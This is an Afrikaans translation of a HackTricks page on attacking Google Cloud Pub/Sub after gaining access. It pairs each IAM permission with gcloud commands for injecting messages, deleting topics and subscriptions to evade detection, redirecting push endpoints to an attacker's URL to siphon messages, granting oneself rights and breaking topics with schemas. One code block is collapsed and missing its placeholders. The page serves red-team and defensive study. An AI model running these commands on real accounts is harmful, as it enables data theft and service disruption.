GCP - Pub/Sub Post Exploitation

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Pub/Sub

Vir meer inligting oor Pub/Sub, kyk na die volgende bladsy:

GCP - Pub/Sub Enum

pubsub.topics.publish

Publiseer 'n boodskap in 'n onderwerp, nuttig om onverwagte data te stuur en onverwagte funksionaliteit te aktiveer of kwesbaarhede te benut:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

Nuttig om te voorkom dat 'n intekening boodskappe ontvang, miskien om opsporing te vermy.

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

Nuttig om te voorkom dat 'n intekening boodskappe ontvang, miskien om opsporing te vermy. Dit is moontlik om 'n onderwerp te verwyder selfs as daar intekening daarby gevoeg is.

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

Gebruik hierdie toestemming om sekere instellings van die onderwerp te werk, soos --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key...

pubsub.topics.setIamPolicy

Gee jouself toestemming om enige van die vorige aanvalle uit te voer.

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Kry al die boodskappe in 'n webbediener:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

Skep 'n intekening en gebruik dit om boodskappe te trek:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

Verwyder 'n intekening kan nuttig wees om 'n logverwerkingstelsel of iets soortgelyks te ontwrig:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Gebruik hierdie toestemming om sekere instellings by te werk sodat boodskappe gestoor word op 'n plek waar jy dit kan bereik (URL, Big Query-tabel, Emmertjie) of net om dit te ontwrig.

gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>

pubsub.subscriptions.setIamPolicy

Gee jouself die regte om enige van die vorige gekommentaar aanvalle uit te voer.

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Val 'n skema aan 'n onderwerp aan sodat die boodskappe dit nie nakom nie en dus die onderwerp ontwrig word. As daar geen skemas is nie, moet jy dalk een skep.

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}

```bash # Attach new schema gcloud pubsub topics update projects//topics/ \ --schema=projects//schemas/ \ --message-encoding=json ``` ### `pubsub.schemas.delete`

Dit mag lyk asof deur 'n skema te verwyder, jy in staat sal wees om boodskappe te stuur wat nie aan die skema voldoen nie. Tog, aangesien die skema verwyder sal word, sal geen boodskap werklik binne die onderwerp binnekom nie. So dit is NUTTELOOS:

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.setIamPolicy

Gee jouself die regte om die nodige toestemmings te hê om enige van die vorige gekommentarieerde aanvalle uit te voer.

pubsub.snapshots.create, pubsub.snapshots.seek

Dit sal 'n oomblikopname van al die onbevestigde boodskappe skep en hulle terugplaas na die intekening. Nie baie nuttig vir 'n aanvaller nie, maar hier is dit:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated